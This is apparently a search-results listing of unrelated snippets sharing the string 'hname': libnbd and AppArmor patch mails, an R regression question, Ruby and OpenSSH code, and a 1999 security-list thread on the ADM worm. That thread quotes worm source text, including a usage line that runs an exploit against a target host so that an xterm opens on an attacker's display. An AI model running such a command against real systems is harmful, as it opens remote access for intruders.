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...cho " Default: KRB5CC=/run/dhcpd.krb5cc" echo " -d | --domain The DNS domain/zone to be updated" echo " DOMAIN={domain.tld}" echo " -h | --help Show this help message and exit" echo " -H | --hostname Hostname of the record to be updated" echo " HNAME={hostname}" echo " -i | --ip IP address of the host to be updated" echo " IP={0.0.0.0}" echo " -k | --keytab Krb5 keytab to be used for authorization (optional)" echo " Default: KEYTAB=/etc/dhcp/dhcpd.keytab" echo " -m | --mitkrb5 Use MIT krb5 clien...

...apparently thinks there is a minus in front of eta, as is apprent below. Is this a bug og a feature I have overlooked? Here is the naked code for reproduction, below the results. ------------------------------------------------------------------------ --- version library( MASS ) data( housing ) hnames <- lapply( housing[,-5], levels ) house.plr <- polr( Sat ~ Infl + Type + Cont, data=housing, weights=Freq ) summary( house.plr ) newdat <- expand.grid( hnames[-1] )[1:5,] cbind( newdat, predict( house.plr, newdat, type="probs" ) ) # Baseline probs: diff( c(0,tigol( c(-0.4961,0.6...

...577 3.771156 Intercepts: Value Std. Error t value Low|Medium -0.4961 0.1248 -3.9740 Medium|High 0.6907 0.1255 5.5049 Residual Deviance: 3479.149 AIC: 3495.149 I also tried to predict the probabilities of the 3 categories of "Sat" using the predict function: > hnames<-lapply(housing[,-5],levels) > house.pr1<-predict(house.plr,expand.grid(hnames[-1]),type="probs")> cbind(expand.grid(hnames[-1]),round(house.pr1,2)) Infl Type Cont Low Medium High 1 Low Tower Low 0.38 0.29 0.33 2 Medium Tower Low 0.26 0.27 0.47 3...

...xt), database, config, logger) ___ sybct.rb (line 27 is indicated) class SybConnection def SybConnection.open (*args) conn = nil raise("illegal args count") if( args.length < 3 ) ctx = args[0] srv = args[1] user = args[2] psw = "" ; appname = nil; hname = nil; psw = args[3] if(args.length >= 4 ) appname = args[4] if(args.length >= 5 ) hname = args[5] if(args.length >= 6 ) begin conn = SybConnection.new( ctx ) if( hname != nil ) then raise("NG: setprop(hostname)") unless( conn.setprop(CS_HOSTNAME,hna...

This isn't quite finished because not all of the tests or examples have been updated, but it demonstrates an idea: Should we forget about the concept of having multiple connections managed under a single handle? In this patch there is a single ‘struct nbd_handle *’ which manages a single state machine and connection (and therefore no nbd_connection). To connect to a multi-conn server you must

...gned-bugs at mindrot.org Reporter: arthurmesh at gmail.com Line 1304 seems incorrect. Call to ask_filename() doesn't modify fname, and hence is of no use. 1293 /* 1294 * Print the SSHFP RR. 1295 */ 1296 static int 1297 do_print_resource_record(struct passwd *pw, char *fname, char *hname) 1298 { 1299 Key *public; 1300 char *comment = NULL; 1301 struct stat st; 1302 1303 if (fname == NULL) 1304 ask_filename(pw, "Enter file in which the key is"); 1305 if (stat(fname, &st) < 0) { 1306 if (errno =...

On Fri, 26 Mar 1999, Thomas Biege wrote: > Date: Fri, 26 Mar 1999 09:34:10 +0100 (MET) > From: Thomas Biege <thomas@suse.de> > To: Jan-Philip Velders <jpv@jvelders.tn.tudelft.nl> > Cc: linux-security@redhat.com > Subject: Re: [Security - intern] [linux-security] *ALERT*: ADM Worm. Worm for Linux x86 found in wild. > The worm just exploits old security holes, so

...if (h->debug_callback.callback) /* ignore return value */ - h->debug_callback.callback (h->debug_callback.user_data, context, msg); + CALL_CALLBACK (h->debug_callback, context, msg); else fprintf (stderr, "libnbd: debug: %s: %s: %s\n", h->hname, context ? : "unknown", msg); diff --git a/lib/internal.h b/lib/internal.h index 305158e..dc3676a 100644 --- a/lib/internal.h +++ b/lib/internal.h @@ -273,6 +273,10 @@ struct command { uint32_t error; /* Local errno value */ }; +/* Call a callback. */ +#define CALL_CALLBACK(cb, ...)...

....labels=Inf, to.data.frame=TRUE) > dimnames(SurveyData) [[2]] #Variable (column) names [1] "LANG" "SAMPN" "ROUTE_NU" "BLOCK_NU" "ROUTE" "TOD" [7] "DIRECTIO" "ASSIGN" "TRIPID_N" "HNAME" "HPHONE" "HADDRESS" [13] "HCITY" "HSTATE" "HZIP" "HAV_STAT" "H_XCORD" "H_YCORD" [19] "H_TAZ" "OPURP" "O_OPURP" "OCODE" "ONAME" &quot...

...#39;ll fuk ;) # and The ADM Crew oooooooofffffff course heh # LIFE IS A BITCH, BE HARDCORE WITH 'EM, DONT FINISH LIKE ME ! # ********************* THE CREW WILL NEVER DIE *************************** EMAIL="admsmb@hotmail.com" SAY="The ADM Inet w0rm is here !" -----Hnamed---- --= The ADM CreW =-- %s victim arg0 arg1 ... ex:sploits www.juergen.ch /usr/X11R6/bin/xterm -display ppp666.hax0r.com:0 ----- The worm is particularly amusing in that when run, along with portscanning, wiping logs, and all the other usual things you'd expect a worm to do, it also hunt...

.....) if (h->debug_callback) /* ignore return value */ - h->debug_callback (LIBNBD_CALLBACK_VALID, h->debug_data, context, msg); + h->debug_callback (h->debug_data, context, msg); else fprintf (stderr, "libnbd: debug: %s: %s: %s\n", h->hname, context ? : "unknown", msg); diff --git a/lib/handle.c b/lib/handle.c index 5a47bd8..4c59622 100644 --- a/lib/handle.c +++ b/lib/handle.c @@ -113,10 +113,8 @@ nbd_close (struct nbd_handle *h) return; /* Free user callbacks first. */ - if (h->debug_callback) { - h->deb...

Patches 1 & 2 are rather complex, but the end result is that we pass closures + user_data + free function in single struct parameters as I described previously in this email: https://www.redhat.com/archives/libguestfs/2019-August/msg00210.html Patch 3 adds a convenient FREE_CALLBACK macro which seems a worthwhile simplification if you buy into 1 & 2. Patch 4 adds another macro which is

...bug_callback.callback (LIBNBD_CALLBACK_VALID, - h->debug_callback.user_data, context, msg); + h->debug_callback.callback (h->debug_callback.user_data, context, msg); else fprintf (stderr, "libnbd: debug: %s: %s: %s\n", h->hname, context ? : "unknown", msg); diff --git a/tests/closure-lifetimes.c b/tests/closure-lifetimes.c index e21a0e9..41c7f65 100644 --- a/tests/closure-lifetimes.c +++ b/tests/closure-lifetimes.c @@ -38,50 +38,58 @@ static char *nbdkit_delay[] = "delay-read=10", NULL }; -...

...bug_callback (LIBNBD_CALLBACK_VALID, h->debug_data, context, msg); + h->debug_callback.callback (LIBNBD_CALLBACK_VALID, + h->debug_callback.user_data, context, msg); else fprintf (stderr, "libnbd: debug: %s: %s: %s\n", h->hname, context ? : "unknown", msg); diff --git a/lib/internal.h b/lib/internal.h index 301b798..5996a4f 100644 --- a/lib/internal.h +++ b/lib/internal.h @@ -85,7 +85,6 @@ struct nbd_handle { /* For debugging. */ bool debug; nbd_debug_callback debug_callback; - void *debug_data; /...

...r/policy_ns.c b/security/apparmor/policy_ns.c index d7ef540027a5..70921d95fb40 100644 --- a/security/apparmor/policy_ns.c +++ b/security/apparmor/policy_ns.c @@ -121,9 +121,9 @@ static struct aa_ns *alloc_ns(const char *prefix, const char *name) return ns; fail_unconfined: - kzfree(ns->base.hname); + kfree_sensitive(ns->base.hname); fail_ns: - kzfree(ns); + kfree_sensitive(ns); return NULL; } @@ -145,7 +145,7 @@ void aa_free_ns(struct aa_ns *ns) ns->unconfined->ns = NULL; aa_free_profile(ns->unconfined); - kzfree(ns); + kfree_sensitive(ns); } /** diff --git a/sec...

...r/policy_ns.c b/security/apparmor/policy_ns.c index d7ef540027a5..70921d95fb40 100644 --- a/security/apparmor/policy_ns.c +++ b/security/apparmor/policy_ns.c @@ -121,9 +121,9 @@ static struct aa_ns *alloc_ns(const char *prefix, const char *name) return ns; fail_unconfined: - kzfree(ns->base.hname); + kfree_sensitive(ns->base.hname); fail_ns: - kzfree(ns); + kfree_sensitive(ns); return NULL; } @@ -145,7 +145,7 @@ void aa_free_ns(struct aa_ns *ns) ns->unconfined->ns = NULL; aa_free_profile(ns->unconfined); - kzfree(ns); + kfree_sensitive(ns); } /** diff --git a/sec...

...r/policy_ns.c b/security/apparmor/policy_ns.c index d7ef540027a5..70921d95fb40 100644 --- a/security/apparmor/policy_ns.c +++ b/security/apparmor/policy_ns.c @@ -121,9 +121,9 @@ static struct aa_ns *alloc_ns(const char *prefix, const char *name) return ns; fail_unconfined: - kzfree(ns->base.hname); + kfree_sensitive(ns->base.hname); fail_ns: - kzfree(ns); + kfree_sensitive(ns); return NULL; } @@ -145,7 +145,7 @@ void aa_free_ns(struct aa_ns *ns) ns->unconfined->ns = NULL; aa_free_profile(ns->unconfined); - kzfree(ns); + kfree_sensitive(ns); } /** diff --git a/sec...

v5: - Break the btrfs patch out as a separate patch to be processed independently. - Update the commit log of patch 1 to make it less scary. - Add a kzfree backward compatibility macro in patch 2. v4: - Break out the memzero_explicit() change as suggested by Dan Carpenter so that it can be backported to stable. - Drop the "crypto: Remove unnecessary

This adds coalescing of adjacent extents of the same type, as mentioned by Eric Blake in the commit message here: https://github.com/libguestfs/libnbd/commit/46072f6611f80245846a445766da071e457b00cd The patch series is rather long because it detours through adding the <vector.h> library from nbdkit into libnbd and replacing ad hoc uses of realloc, char ** etc in various places. Rich.

v4: - Break out the memzero_explicit() change as suggested by Dan Carpenter so that it can be backported to stable. - Drop the "crypto: Remove unnecessary memzero_explicit()" patch for now as there can be a bit more discussion on what is best. It will be introduced as a separate patch later on after this one is merged. This patchset makes a global rename of the kzfree()